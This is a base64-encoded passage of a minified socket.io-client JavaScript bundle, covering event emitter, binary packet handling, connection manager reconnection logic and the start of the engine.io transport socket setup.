gcmVjb25zdHJ1Y3RpbmcgYSBwYWNrZXQiKTtuPXRoaXMucmVjb25zdHJ1Y3Rvci50YWtlQmluYXJ5RGF0YSh0KSxuJiYodGhpcy5yZWNvbnN0cnVjdG9yPW51bGwsdGhpcy5lbWl0KCJkZWNvZGVkIixuKSl9fSxzLnByb3RvdHlwZS5kZXN0cm95PWZ1bmN0aW9uKCl7dGhpcy5yZWNvbnN0cnVjdG9yJiZ0aGlzLnJlY29uc3RydWN0b3IuZmluaXNoZWRSZWNvbnN0cnVjdGlvbigpfSxwLnByb3RvdHlwZS50YWtlQmluYXJ5RGF0YT1mdW5jdGlvbih0KXtpZih0aGlzLmJ1ZmZlcnMucHVzaCh0KSx0aGlzLmJ1ZmZlcnMubGVuZ3RoPT09dGhpcy5yZWNvblBhY2suYXR0YWNobWVudHMpe3ZhciBlPWQucmVjb25zdHJ1Y3RQYWNrZXQodGhpcy5yZWNvblBhY2ssdGhpcy5idWZmZXJzKTtyZXR1cm4gdGhpcy5maW5pc2hlZFJlY29uc3RydWN0aW9uKCksZX1yZXR1cm4gbnVsbH0scC5wcm90b3R5cGUuZmluaXNoZWRSZWNvbnN0cnVjdGlvbj1mdW5jdGlvbigpe3RoaXMucmVjb25QYWNrPW51bGwsdGhpcy5idWZmZXJzPVtdfX0sZnVuY3Rpb24odCxlLG4pe2Z1bmN0aW9uIHIodCl7aWYodClyZXR1cm4gbyh0KX1mdW5jdGlvbiBvKHQpe2Zvcih2YXIgZSBpbiByLnByb3RvdHlwZSl0W2VdPXIucHJvdG90eXBlW2VdO3JldHVybiB0fXQuZXhwb3J0cz1yLHIucHJvdG90eXBlLm9uPXIucHJvdG90eXBlLmFkZEV2ZW50TGlzdGVuZXI9ZnVuY3Rpb24odCxlKXtyZXR1cm4gdGhpcy5fY2FsbGJhY2tzPXRoaXMuX2NhbGxiYWNrc3x8e30sKHRoaXMuX2NhbGxiYWNrc1siJCIrdF09dGhpcy5fY2FsbGJhY2tzWyIkIit0XXx8W10pLnB1c2goZSksdGhpc30sci5wcm90b3R5cGUub25jZT1mdW5jdGlvbih0LGUpe2Z1bmN0aW9uIG4oKXt0aGlzLm9mZih0LG4pLGUuYXBwbHkodGhpcyxhcmd1bWVudHMpfXJldHVybiBuLmZuPWUsdGhpcy5vbih0LG4pLHRoaXN9LHIucHJvdG90eXBlLm9mZj1yLnByb3RvdHlwZS5yZW1vdmVMaXN0ZW5lcj1yLnByb3RvdHlwZS5yZW1vdmVBbGxMaXN0ZW5lcnM9ci5wcm90b3R5cGUucmVtb3ZlRXZlbnRMaXN0ZW5lcj1mdW5jdGlvbih0LGUpe2lmKHRoaXMuX2NhbGxiYWNrcz10aGlzLl9jYWxsYmFja3N8fHt9LDA9PWFyZ3VtZW50cy5sZW5ndGgpcmV0dXJuIHRoaXMuX2NhbGxiYWNrcz17fSx0aGlzO3ZhciBuPXRoaXMuX2NhbGxiYWNrc1siJCIrdF07aWYoIW4pcmV0dXJuIHRoaXM7aWYoMT09YXJndW1lbnRzLmxlbmd0aClyZXR1cm4gZGVsZXRlIHRoaXMuX2NhbGxiYWNrc1siJCIrdF0sdGhpcztmb3IodmFyIHIsbz0wO288bi5sZW5ndGg7bysrKWlmKHI9bltvXSxyPT09ZXx8ci5mbj09PWUpe24uc3BsaWNlKG8sMSk7YnJlYWt9cmV0dXJuIHRoaXN9LHIucHJvdG90eXBlLmVtaXQ9ZnVuY3Rpb24odCl7dGhpcy5fY2FsbGJhY2tzPXRoaXMuX2NhbGxiYWNrc3x8e307dmFyIGU9W10uc2xpY2UuY2FsbChhcmd1bWVudHMsMSksbj10aGlzLl9jYWxsYmFja3NbIiQiK3RdO2lmKG4pe249bi5zbGljZSgwKTtmb3IodmFyIHI9MCxvPW4ubGVuZ3RoO3I8bzsrK3IpbltyXS5hcHBseSh0aGlzLGUpfXJldHVybiB0aGlzfSxyLnByb3RvdHlwZS5saXN0ZW5lcnM9ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuX2NhbGxiYWNrcz10aGlzLl9jYWxsYmFja3N8fHt9LHRoaXMuX2NhbGxiYWNrc1siJCIrdF18fFtdfSxyLnByb3RvdHlwZS5oYXNMaXN0ZW5lcnM9ZnVuY3Rpb24odCl7cmV0dXJuISF0aGlzLmxpc3RlbmVycyh0KS5sZW5ndGh9fSxmdW5jdGlvbih0LGUsbil7KGZ1bmN0aW9uKGUpe2Z1bmN0aW9uIHIodCl7aWYoIXR8fCJvYmplY3QiIT10eXBlb2YgdClyZXR1cm4hMTtpZihvKHQpKXtmb3IodmFyIG49MCxpPXQubGVuZ3RoO248aTtuKyspaWYocih0W25dKSlyZXR1cm4hMDtyZXR1cm4hMX1pZigiZnVuY3Rpb24iPT10eXBlb2YgZS5CdWZmZXImJmUuQnVmZmVyLmlzQnVmZmVyJiZlLkJ1ZmZlci5pc0J1ZmZlcih0KXx8ImZ1bmN0aW9uIj09dHlwZW9mIGUuQXJyYXlCdWZmZXImJnQgaW5zdGFuY2VvZiBBcnJheUJ1ZmZlcnx8cyYmdCBpbnN0YW5jZW9mIEJsb2J8fGEmJnQgaW5zdGFuY2VvZiBGaWxlKXJldHVybiEwO2lmKHQudG9KU09OJiYiZnVuY3Rpb24iPT10eXBlb2YgdC50b0pTT04mJjE9PT1hcmd1bWVudHMubGVuZ3RoKXJldHVybiByKHQudG9KU09OKCksITApO2Zvcih2YXIgYyBpbiB0KWlmKE9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHkuY2FsbCh0LGMpJiZyKHRbY10pKXJldHVybiEwO3JldHVybiExfXZhciBvPW4oMTApLGk9T2JqZWN0LnByb3RvdHlwZS50b1N0cmluZyxzPSJmdW5jdGlvbiI9PXR5cGVvZiBlLkJsb2J8fCJbb2JqZWN0IEJsb2JDb25zdHJ1Y3Rvcl0iPT09aS5jYWxsKGUuQmxvYiksYT0iZnVuY3Rpb24iPT10eXBlb2YgZS5GaWxlfHwiW29iamVjdCBGaWxlQ29uc3RydWN0b3JdIj09PWkuY2FsbChlLkZpbGUpO3QuZXhwb3J0cz1yfSkuY2FsbChlLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXN9KCkpfSxmdW5jdGlvbih0LGUpe3ZhciBuPXt9LnRvU3RyaW5nO3QuZXhwb3J0cz1BcnJheS5pc0FycmF5fHxmdW5jdGlvbih0KXtyZXR1cm4iW29iamVjdCBBcnJheV0iPT1uLmNhbGwodCl9fSxmdW5jdGlvbih0LGUsbil7KGZ1bmN0aW9uKHQpe2Z1bmN0aW9uIHIodCxlKXtpZighdClyZXR1cm4gdDtpZihzKHQpKXt2YXIgbj17X3BsYWNlaG9sZGVyOiEwLG51bTplLmxlbmd0aH07cmV0dXJuIGUucHVzaCh0KSxufWlmKGkodCkpe2Zvcih2YXIgbz1uZXcgQXJyYXkodC5sZW5ndGgpLGE9MDthPHQubGVuZ3RoO2ErKylvW2FdPXIodFthXSxlKTtyZXR1cm4gb31pZigib2JqZWN0Ij09dHlwZW9mIHQmJiEodCBpbnN0YW5jZW9mIERhdGUpKXt2YXIgbz17fTtmb3IodmFyIGMgaW4gdClvW2NdPXIodFtjXSxlKTtyZXR1cm4gb31yZXR1cm4gdH1mdW5jdGlvbiBvKHQsZSl7aWYoIXQpcmV0dXJuIHQ7aWYodCYmdC5fcGxhY2Vob2xkZXIpcmV0dXJuIGVbdC5udW1dO2lmKGkodCkpZm9yKHZhciBuPTA7bjx0Lmxlbmd0aDtuKyspdFtuXT1vKHRbbl0sZSk7ZWxzZSBpZigib2JqZWN0Ij09dHlwZW9mIHQpZm9yKHZhciByIGluIHQpdFtyXT1vKHRbcl0sZSk7cmV0dXJuIHR9dmFyIGk9bigxMCkscz1uKDEyKSxhPU9iamVjdC5wcm90b3R5cGUudG9TdHJpbmcsYz0iZnVuY3Rpb24iPT10eXBlb2YgdC5CbG9ifHwiW29iamVjdCBCbG9iQ29uc3RydWN0b3JdIj09PWEuY2FsbCh0LkJsb2IpLHA9ImZ1bmN0aW9uIj09dHlwZW9mIHQuRmlsZXx8IltvYmplY3QgRmlsZUNvbnN0cnVjdG9yXSI9PT1hLmNhbGwodC5GaWxlKTtlLmRlY29uc3RydWN0UGFja2V0PWZ1bmN0aW9uKHQpe3ZhciBlPVtdLG49dC5kYXRhLG89dDtyZXR1cm4gby5kYXRhPXIobixlKSxvLmF0dGFjaG1lbnRzPWUubGVuZ3RoLHtwYWNrZXQ6byxidWZmZXJzOmV9fSxlLnJlY29uc3RydWN0UGFja2V0PWZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQuZGF0YT1vKHQuZGF0YSxlKSx0LmF0dGFjaG1lbnRzPXZvaWQgMCx0fSxlLnJlbW92ZUJsb2JzPWZ1bmN0aW9uKHQsZSl7ZnVuY3Rpb24gbih0LGEsdSl7aWYoIXQpcmV0dXJuIHQ7aWYoYyYmdCBpbnN0YW5jZW9mIEJsb2J8fHAmJnQgaW5zdGFuY2VvZiBGaWxlKXtyKys7dmFyIGg9bmV3IEZpbGVSZWFkZXI7aC5vbmxvYWQ9ZnVuY3Rpb24oKXt1P3VbYV09dGhpcy5yZXN1bHQ6bz10aGlzLnJlc3VsdCwtLXJ8fGUobyl9LGgucmVhZEFzQXJyYXlCdWZmZXIodCl9ZWxzZSBpZihpKHQpKWZvcih2YXIgZj0wO2Y8dC5sZW5ndGg7ZisrKW4odFtmXSxmLHQpO2Vsc2UgaWYoIm9iamVjdCI9PXR5cGVvZiB0JiYhcyh0KSlmb3IodmFyIGwgaW4gdCluKHRbbF0sbCx0KX12YXIgcj0wLG89dDtuKG8pLHJ8fGUobyl9fSkuY2FsbChlLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXN9KCkpfSxmdW5jdGlvbih0LGUpeyhmdW5jdGlvbihlKXtmdW5jdGlvbiBuKHQpe3JldHVybiBlLkJ1ZmZlciYmZS5CdWZmZXIuaXNCdWZmZXIodCl8fGUuQXJyYXlCdWZmZXImJnQgaW5zdGFuY2VvZiBBcnJheUJ1ZmZlcn10LmV4cG9ydHM9bn0pLmNhbGwoZSxmdW5jdGlvbigpe3JldHVybiB0aGlzfSgpKX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiByKHQsZSl7aWYoISh0aGlzIGluc3RhbmNlb2YgcikpcmV0dXJuIG5ldyByKHQsZSk7dCYmIm9iamVjdCI9PT0oInVuZGVmaW5lZCI9PXR5cGVvZiB0PyJ1bmRlZmluZWQiOm8odCkpJiYoZT10LHQ9dm9pZCAwKSxlPWV8fHt9LGUucGF0aD1lLnBhdGh8fCIvc29ja2V0LmlvIix0aGlzLm5zcHM9e30sdGhpcy5zdWJzPVtdLHRoaXMub3B0cz1lLHRoaXMucmVjb25uZWN0aW9uKGUucmVjb25uZWN0aW9uIT09ITEpLHRoaXMucmVjb25uZWN0aW9uQXR0ZW1wdHMoZS5yZWNvbm5lY3Rpb25BdHRlbXB0c3x8MS8wKSx0aGlzLnJlY29ubmVjdGlvbkRlbGF5KGUucmVjb25uZWN0aW9uRGVsYXl8fDFlMyksdGhpcy5yZWNvbm5lY3Rpb25EZWxheU1heChlLnJlY29ubmVjdGlvbkRlbGF5TWF4fHw1ZTMpLHRoaXMucmFuZG9taXphdGlvbkZhY3RvcihlLnJhbmRvbWl6YXRpb25GYWN0b3J8fC41KSx0aGlzLmJhY2tvZmY9bmV3IGwoe21pbjp0aGlzLnJlY29ubmVjdGlvbkRlbGF5KCksbWF4OnRoaXMucmVjb25uZWN0aW9uRGVsYXlNYXgoKSxqaXR0ZXI6dGhpcy5yYW5kb21pemF0aW9uRmFjdG9yKCl9KSx0aGlzLnRpbWVvdXQobnVsbD09ZS50aW1lb3V0PzJlNDplLnRpbWVvdXQpLHRoaXMucmVhZHlTdGF0ZT0iY2xvc2VkIix0aGlzLnVyaT10LHRoaXMuY29ubmVjdGluZz1bXSx0aGlzLmxhc3RQaW5nPW51bGwsdGhpcy5lbmNvZGluZz0hMSx0aGlzLnBhY2tldEJ1ZmZlcj1bXTt2YXIgbj1lLnBhcnNlcnx8Yzt0aGlzLmVuY29kZXI9bmV3IG4uRW5jb2Rlcix0aGlzLmRlY29kZXI9bmV3IG4uRGVjb2Rlcix0aGlzLmF1dG9Db25uZWN0PWUuYXV0b0Nvbm5lY3QhPT0hMSx0aGlzLmF1dG9Db25uZWN0JiZ0aGlzLm9wZW4oKX12YXIgbz0iZnVuY3Rpb24iPT10eXBlb2YgU3ltYm9sJiYic3ltYm9sIj09dHlwZW9mIFN5bWJvbC5pdGVyYXRvcj9mdW5jdGlvbih0KXtyZXR1cm4gdHlwZW9mIHR9OmZ1bmN0aW9uKHQpe3JldHVybiB0JiYiZnVuY3Rpb24iPT10eXBlb2YgU3ltYm9sJiZ0LmNvbnN0cnVjdG9yPT09U3ltYm9sJiZ0IT09U3ltYm9sLnByb3RvdHlwZT8ic3ltYm9sIjp0eXBlb2YgdH0saT1uKDE0KSxzPW4oMzcpLGE9big4KSxjPW4oNykscD1uKDM5KSx1PW4oNDApLGg9bigzKSgic29ja2V0LmlvLWNsaWVudDptYW5hZ2VyIiksZj1uKDM2KSxsPW4oNDEpLGQ9T2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eTt0LmV4cG9ydHM9cixyLnByb3RvdHlwZS5lbWl0QWxsPWZ1bmN0aW9uKCl7dGhpcy5lbWl0LmFwcGx5KHRoaXMsYXJndW1lbnRzKTtmb3IodmFyIHQgaW4gdGhpcy5uc3BzKWQuY2FsbCh0aGlzLm5zcHMsdCkmJnRoaXMubnNwc1t0XS5lbWl0LmFwcGx5KHRoaXMubnNwc1t0XSxhcmd1bWVudHMpfSxyLnByb3RvdHlwZS51cGRhdGVTb2NrZXRJZHM9ZnVuY3Rpb24oKXtmb3IodmFyIHQgaW4gdGhpcy5uc3BzKWQuY2FsbCh0aGlzLm5zcHMsdCkmJih0aGlzLm5zcHNbdF0uaWQ9dGhpcy5nZW5lcmF0ZUlkKHQpKX0sci5wcm90b3R5cGUuZ2VuZXJhdGVJZD1mdW5jdGlvbih0KXtyZXR1cm4oIi8iPT09dD8iIjp0KyIjIikrdGhpcy5lbmdpbmUuaWR9LGEoci5wcm90b3R5cGUpLHIucHJvdG90eXBlLnJlY29ubmVjdGlvbj1mdW5jdGlvbih0KXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD8odGhpcy5fcmVjb25uZWN0aW9uPSEhdCx0aGlzKTp0aGlzLl9yZWNvbm5lY3Rpb259LHIucHJvdG90eXBlLnJlY29ubmVjdGlvbkF0dGVtcHRzPWZ1bmN0aW9uKHQpe3JldHVybiBhcmd1bWVudHMubGVuZ3RoPyh0aGlzLl9yZWNvbm5lY3Rpb25BdHRlbXB0cz10LHRoaXMpOnRoaXMuX3JlY29ubmVjdGlvbkF0dGVtcHRzfSxyLnByb3RvdHlwZS5yZWNvbm5lY3Rpb25EZWxheT1mdW5jdGlvbih0KXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD8odGhpcy5fcmVjb25uZWN0aW9uRGVsYXk9dCx0aGlzLmJhY2tvZmYmJnRoaXMuYmFja29mZi5zZXRNaW4odCksdGhpcyk6dGhpcy5fcmVjb25uZWN0aW9uRGVsYXl9LHIucHJvdG90eXBlLnJhbmRvbWl6YXRpb25GYWN0b3I9ZnVuY3Rpb24odCl7cmV0dXJuIGFyZ3VtZW50cy5sZW5ndGg/KHRoaXMuX3JhbmRvbWl6YXRpb25GYWN0b3I9dCx0aGlzLmJhY2tvZmYmJnRoaXMuYmFja29mZi5zZXRKaXR0ZXIodCksdGhpcyk6dGhpcy5fcmFuZG9taXphdGlvbkZhY3Rvcn0sci5wcm90b3R5cGUucmVjb25uZWN0aW9uRGVsYXlNYXg9ZnVuY3Rpb24odCl7cmV0dXJuIGFyZ3VtZW50cy5sZW5ndGg/KHRoaXMuX3JlY29ubmVjdGlvbkRlbGF5TWF4PXQsdGhpcy5iYWNrb2ZmJiZ0aGlzLmJhY2tvZmYuc2V0TWF4KHQpLHRoaXMpOnRoaXMuX3JlY29ubmVjdGlvbkRlbGF5TWF4fSxyLnByb3RvdHlwZS50aW1lb3V0PWZ1bmN0aW9uKHQpe3JldHVybiBhcmd1bWVudHMubGVuZ3RoPyh0aGlzLl90aW1lb3V0PXQsdGhpcyk6dGhpcy5fdGltZW91dH0sci5wcm90b3R5cGUubWF5YmVSZWNvbm5lY3RPbk9wZW49ZnVuY3Rpb24oKXshdGhpcy5yZWNvbm5lY3RpbmcmJnRoaXMuX3JlY29ubmVjdGlvbiYmMD09PXRoaXMuYmFja29mZi5hdHRlbXB0cyYmdGhpcy5yZWNvbm5lY3QoKX0sci5wcm90b3R5cGUub3Blbj1yLnByb3RvdHlwZS5jb25uZWN0PWZ1bmN0aW9uKHQsZSl7aWYoaCgicmVhZHlTdGF0ZSAlcyIsdGhpcy5yZWFkeVN0YXRlKSx+dGhpcy5yZWFkeVN0YXRlLmluZGV4T2YoIm9wZW4iKSlyZXR1cm4gdGhpcztoKCJvcGVuaW5nICVzIix0aGlzLnVyaSksdGhpcy5lbmdpbmU9aSh0aGlzLnVyaSx0aGlzLm9wdHMpO3ZhciBuPXRoaXMuZW5naW5lLHI9dGhpczt0aGlzLnJlYWR5U3RhdGU9Im9wZW5pbmciLHRoaXMuc2tpcFJlY29ubmVjdD0hMTt2YXIgbz1wKG4sIm9wZW4iLGZ1bmN0aW9uKCl7ci5vbm9wZW4oKSx0JiZ0KCl9KSxzPXAobiwiZXJyb3IiLGZ1bmN0aW9uKGUpe2lmKGgoImNvbm5lY3RfZXJyb3IiKSxyLmNsZWFudXAoKSxyLnJlYWR5U3RhdGU9ImNsb3NlZCIsci5lbWl0QWxsKCJjb25uZWN0X2Vycm9yIixlKSx0KXt2YXIgbj1uZXcgRXJyb3IoIkNvbm5lY3Rpb24gZXJyb3IiKTtuLmRhdGE9ZSx0KG4pfWVsc2Ugci5tYXliZVJlY29ubmVjdE9uT3BlbigpfSk7aWYoITEhPT10aGlzLl90aW1lb3V0KXt2YXIgYT10aGlzLl90aW1lb3V0O2goImNvbm5lY3QgYXR0ZW1wdCB3aWxsIHRpbWVvdXQgYWZ0ZXIgJWQiLGEpO3ZhciBjPXNldFRpbWVvdXQoZnVuY3Rpb24oKXtoKCJjb25uZWN0IGF0dGVtcHQgdGltZWQgb3V0IGFmdGVyICVkIixhKSxvLmRlc3Ryb3koKSxuLmNsb3NlKCksbi5lbWl0KCJlcnJvciIsInRpbWVvdXQiKSxyLmVtaXRBbGwoImNvbm5lY3RfdGltZW91dCIsYSl9LGEpO3RoaXMuc3Vicy5wdXNoKHtkZXN0cm95OmZ1bmN0aW9uKCl7Y2xlYXJUaW1lb3V0KGMpfX0pfXJldHVybiB0aGlzLnN1YnMucHVzaChvKSx0aGlzLnN1YnMucHVzaChzKSx0aGlzfSxyLnByb3RvdHlwZS5vbm9wZW49ZnVuY3Rpb24oKXtoKCJvcGVuIiksdGhpcy5jbGVhbnVwKCksdGhpcy5yZWFkeVN0YXRlPSJvcGVuIix0aGlzLmVtaXQoIm9wZW4iKTt2YXIgdD10aGlzLmVuZ2luZTt0aGlzLnN1YnMucHVzaChwKHQsImRhdGEiLHUodGhpcywib25kYXRhIikpKSx0aGlzLnN1YnMucHVzaChwKHQsInBpbmciLHUodGhpcywib25waW5nIikpKSx0aGlzLnN1YnMucHVzaChwKHQsInBvbmciLHUodGhpcywib25wb25nIikpKSx0aGlzLnN1YnMucHVzaChwKHQsImVycm9yIix1KHRoaXMsIm9uZXJyb3IiKSkpLHRoaXMuc3Vicy5wdXNoKHAodCwiY2xvc2UiLHUodGhpcywib25jbG9zZSIpKSksdGhpcy5zdWJzLnB1c2gocCh0aGlzLmRlY29kZXIsImRlY29kZWQiLHUodGhpcywib25kZWNvZGVkIikpKX0sci5wcm90b3R5cGUub25waW5nPWZ1bmN0aW9uKCl7dGhpcy5sYXN0UGluZz1uZXcgRGF0ZSx0aGlzLmVtaXRBbGwoInBpbmciKX0sci5wcm90b3R5cGUub25wb25nPWZ1bmN0aW9uKCl7dGhpcy5lbWl0QWxsKCJwb25nIixuZXcgRGF0ZS10aGlzLmxhc3RQaW5nKX0sci5wcm90b3R5cGUub25kYXRhPWZ1bmN0aW9uKHQpe3RoaXMuZGVjb2Rlci5hZGQodCl9LHIucHJvdG90eXBlLm9uZGVjb2RlZD1mdW5jdGlvbih0KXt0aGlzLmVtaXQoInBhY2tldCIsdCl9LHIucHJvdG90eXBlLm9uZXJyb3I9ZnVuY3Rpb24odCl7aCgiZXJyb3IiLHQpLHRoaXMuZW1pdEFsbCgiZXJyb3IiLHQpfSxyLnByb3RvdHlwZS5zb2NrZXQ9ZnVuY3Rpb24odCxlKXtmdW5jdGlvbiBuKCl7fmYoby5jb25uZWN0aW5nLHIpfHxvLmNvbm5lY3RpbmcucHVzaChyKX12YXIgcj10aGlzLm5zcHNbdF07aWYoIXIpe3I9bmV3IHModGhpcyx0LGUpLHRoaXMubnNwc1t0XT1yO3ZhciBvPXRoaXM7ci5vbigiY29ubmVjdGluZyIsbiksci5vbigiY29ubmVjdCIsZnVuY3Rpb24oKXtyLmlkPW8uZ2VuZXJhdGVJZCh0KX0pLHRoaXMuYXV0b0Nvbm5lY3QmJm4oKX1yZXR1cm4gcn0sci5wcm90b3R5cGUuZGVzdHJveT1mdW5jdGlvbih0KXt2YXIgZT1mKHRoaXMuY29ubmVjdGluZyx0KTt+ZSYmdGhpcy5jb25uZWN0aW5nLnNwbGljZShlLDEpLHRoaXMuY29ubmVjdGluZy5sZW5ndGh8fHRoaXMuY2xvc2UoKX0sci5wcm90b3R5cGUucGFja2V0PWZ1bmN0aW9uKHQpe2goIndyaXRpbmcgcGFja2V0ICVqIix0KTt2YXIgZT10aGlzO3QucXVlcnkmJjA9PT10LnR5cGUmJih0Lm5zcCs9Ij8iK3QucXVlcnkpLGUuZW5jb2Rpbmc/ZS5wYWNrZXRCdWZmZXIucHVzaCh0KTooZS5lbmNvZGluZz0hMCx0aGlzLmVuY29kZXIuZW5jb2RlKHQsZnVuY3Rpb24obil7Zm9yKHZhciByPTA7cjxuLmxlbmd0aDtyKyspZS5lbmdpbmUud3JpdGUobltyXSx0Lm9wdGlvbnMpO2UuZW5jb2Rpbmc9ITEsZS5wcm9jZXNzUGFja2V0UXVldWUoKX0pKX0sci5wcm90b3R5cGUucHJvY2Vzc1BhY2tldFF1ZXVlPWZ1bmN0aW9uKCl7aWYodGhpcy5wYWNrZXRCdWZmZXIubGVuZ3RoPjAmJiF0aGlzLmVuY29kaW5nKXt2YXIgdD10aGlzLnBhY2tldEJ1ZmZlci5zaGlmdCgpO3RoaXMucGFja2V0KHQpfX0sci5wcm90b3R5cGUuY2xlYW51cD1mdW5jdGlvbigpe2goImNsZWFudXAiKTtmb3IodmFyIHQ9dGhpcy5zdWJzLmxlbmd0aCxlPTA7ZTx0O2UrKyl7dmFyIG49dGhpcy5zdWJzLnNoaWZ0KCk7bi5kZXN0cm95KCl9dGhpcy5wYWNrZXRCdWZmZXI9W10sdGhpcy5lbmNvZGluZz0hMSx0aGlzLmxhc3RQaW5nPW51bGwsdGhpcy5kZWNvZGVyLmRlc3Ryb3koKX0sci5wcm90b3R5cGUuY2xvc2U9ci5wcm90b3R5cGUuZGlzY29ubmVjdD1mdW5jdGlvbigpe2goImRpc2Nvbm5lY3QiKSx0aGlzLnNraXBSZWNvbm5lY3Q9ITAsdGhpcy5yZWNvbm5lY3Rpbmc9ITEsIm9wZW5pbmciPT09dGhpcy5yZWFkeVN0YXRlJiZ0aGlzLmNsZWFudXAoKSx0aGlzLmJhY2tvZmYucmVzZXQoKSx0aGlzLnJlYWR5U3RhdGU9ImNsb3NlZCIsdGhpcy5lbmdpbmUmJnRoaXMuZW5naW5lLmNsb3NlKCl9LHIucHJvdG90eXBlLm9uY2xvc2U9ZnVuY3Rpb24odCl7aCgib25jbG9zZSIpLHRoaXMuY2xlYW51cCgpLHRoaXMuYmFja29mZi5yZXNldCgpLHRoaXMucmVhZHlTdGF0ZT0iY2xvc2VkIix0aGlzLmVtaXQoImNsb3NlIix0KSx0aGlzLl9yZWNvbm5lY3Rpb24mJiF0aGlzLnNraXBSZWNvbm5lY3QmJnRoaXMucmVjb25uZWN0KCl9LHIucHJvdG90eXBlLnJlY29ubmVjdD1mdW5jdGlvbigpe2lmKHRoaXMucmVjb25uZWN0aW5nfHx0aGlzLnNraXBSZWNvbm5lY3QpcmV0dXJuIHRoaXM7dmFyIHQ9dGhpcztpZih0aGlzLmJhY2tvZmYuYXR0ZW1wdHM+PXRoaXMuX3JlY29ubmVjdGlvbkF0dGVtcHRzKWgoInJlY29ubmVjdCBmYWlsZWQiKSx0aGlzLmJhY2tvZmYucmVzZXQoKSx0aGlzLmVtaXRBbGwoInJlY29ubmVjdF9mYWlsZWQiKSx0aGlzLnJlY29ubmVjdGluZz0hMTtlbHNle3ZhciBlPXRoaXMuYmFja29mZi5kdXJhdGlvbigpO2goIndpbGwgd2FpdCAlZG1zIGJlZm9yZSByZWNvbm5lY3QgYXR0ZW1wdCIsZSksdGhpcy5yZWNvbm5lY3Rpbmc9ITA7dmFyIG49c2V0VGltZW91dChmdW5jdGlvbigpe3Quc2tpcFJlY29ubmVjdHx8KGgoImF0dGVtcHRpbmcgcmVjb25uZWN0IiksdC5lbWl0QWxsKCJyZWNvbm5lY3RfYXR0ZW1wdCIsdC5iYWNrb2ZmLmF0dGVtcHRzKSx0LmVtaXRBbGwoInJlY29ubmVjdGluZyIsdC5iYWNrb2ZmLmF0dGVtcHRzKSx0LnNraXBSZWNvbm5lY3R8fHQub3BlbihmdW5jdGlvbihlKXtlPyhoKCJyZWNvbm5lY3QgYXR0ZW1wdCBlcnJvciIpLHQucmVjb25uZWN0aW5nPSExLHQucmVjb25uZWN0KCksdC5lbWl0QWxsKCJyZWNvbm5lY3RfZXJyb3IiLGUuZGF0YSkpOihoKCJyZWNvbm5lY3Qgc3VjY2VzcyIpLHQub25yZWNvbm5lY3QoKSl9KSl9LGUpO3RoaXMuc3Vicy5wdXNoKHtkZXN0cm95OmZ1bmN0aW9uKCl7Y2xlYXJUaW1lb3V0KG4pfX0pfX0sci5wcm90b3R5cGUub25yZWNvbm5lY3Q9ZnVuY3Rpb24oKXt2YXIgdD10aGlzLmJhY2tvZmYuYXR0ZW1wdHM7dGhpcy5yZWNvbm5lY3Rpbmc9ITEsdGhpcy5iYWNrb2ZmLnJlc2V0KCksdGhpcy51cGRhdGVTb2NrZXRJZHMoKSx0aGlzLmVtaXRBbGwoInJlY29ubmVjdCIsdCl9fSxmdW5jdGlvbih0LGUsbil7dC5leHBvcnRzPW4oMTUpLHQuZXhwb3J0cy5wYXJzZXI9bigyMil9LGZ1bmN0aW9uKHQsZSxuKXsoZnVuY3Rpb24oZSl7ZnVuY3Rpb24gcih0LG4pe2lmKCEodGhpcyBpbnN0YW5jZW9mIHIpKXJldHVybiBuZXcgcih0LG4pO249bnx8e30sdCYmIm9iamVjdCI9PXR5cGVvZiB0JiYobj10LHQ9bnVsbCksdD8odD11KHQpLG4uaG9zdG5hbWU9dC5ob3N0LG4uc2VjdXJlPSJodHRwcyI9PT10LnByb3RvY29sfHwid3NzIj09PXQucHJvdG9jb2wsbi5wb3J0PXQucG9ydCx0LnF1ZXJ5JiYobi5xdWVyeT10LnF1ZXJ5KSk6bi5ob3N0JiYobi5ob3N0bmFtZT11KG4uaG9zdCkuaG9zdCksdGhpcy5zZWN1cmU9bnVsbCE9bi5zZWN1cmU/bi5zZWN1cmU6ZS5sb2NhdGlvbiYmImh0dHBzOiI9PT1sb2NhdGlvbi5wcm90b2NvbCxuLmhvc3RuYW1lJiYhbi5wb3J0JiYobi5wb3J0PXRoaXMuc2VjdXJlPyI0NDMiOiI4MCIpLHRoaXMuYWdlbnQ9bi5hZ2VudHx8ITEsdGhpcy5ob3N0bmFtZT1uLmhvc3RuYW1lfHwoZS5sb2NhdGlvbj9sb2NhdGlvbi5ob3N0bmFtZToibG9jYWxob3N0IiksdGhpcy5wb3J0PW4ucG9ydHx8KGUubG9jYXRpb24mJmxvY2F0aW9uLnBvcnQ/bG9jYXRpb24ucG9ydDp0aGlzLnNlY3VyZT80NDM6ODApLHRoaXMucXVlcnk9bi5xdWVyeXx8e30sInN0cmluZyI9PXR5cGVvZiB0aGlzLnF1ZXJ5JiYodGhpcy5xdWVyeT1oLmRlY29kZSh0aGlzLnF1ZXJ5KSksdGhpcy51cGdyYWRlPSExIT09bi51cGdyYWRlLHRoaXMucGF0aD0obi5wYXRofHwiL2VuZ2luZS5pbyIpLnJlcGxhY2UoL1wvJC8sIiIpKyIvIix0aGlzLmZvcmNlSlNPTlA9ISFuLmZvcmNlSlNPTlAsdGhpcy5qc29ucD0hMSE9PW4uanNvbnAsdGhpcy5mb3JjZUJhc2U2ND0hIW4uZm9yY2VCYXNlNjQsdGhpcy5lbmFibGVzWERSPSEhbi5lbmFibGVzWERSLHRoaXMudGltZXN0YW1wUGFyYW09bi50aW1lc3RhbXBQYXJhbXx8InQiLHRoaXMudGltZXN0YW1wUmVxdWVzdHM9bi50aW1lc3RhbXBSZXF1ZXN0cyx0aGlzLnRyYW5zcG9ydHM9bi50cmFuc3BvcnRzfHxbInBvbGxpbmciLCJ3ZWJzb2NrZXQiXSx0aGlzLnRyYW5zcG9ydE9wdGlvbnM9bi50cmFuc3BvcnRPcHRpb25zfHx7fSx0aGlzLnJlYWR5U3RhdGU9IiIsdGhpcy53cml0ZUJ1ZmZlcj1bXSx0aGlzLnByZXZCdWZmZXJMZW49MCx0aGlzLnBvbGljeVBvcnQ9bi5wb2xpY3lQb3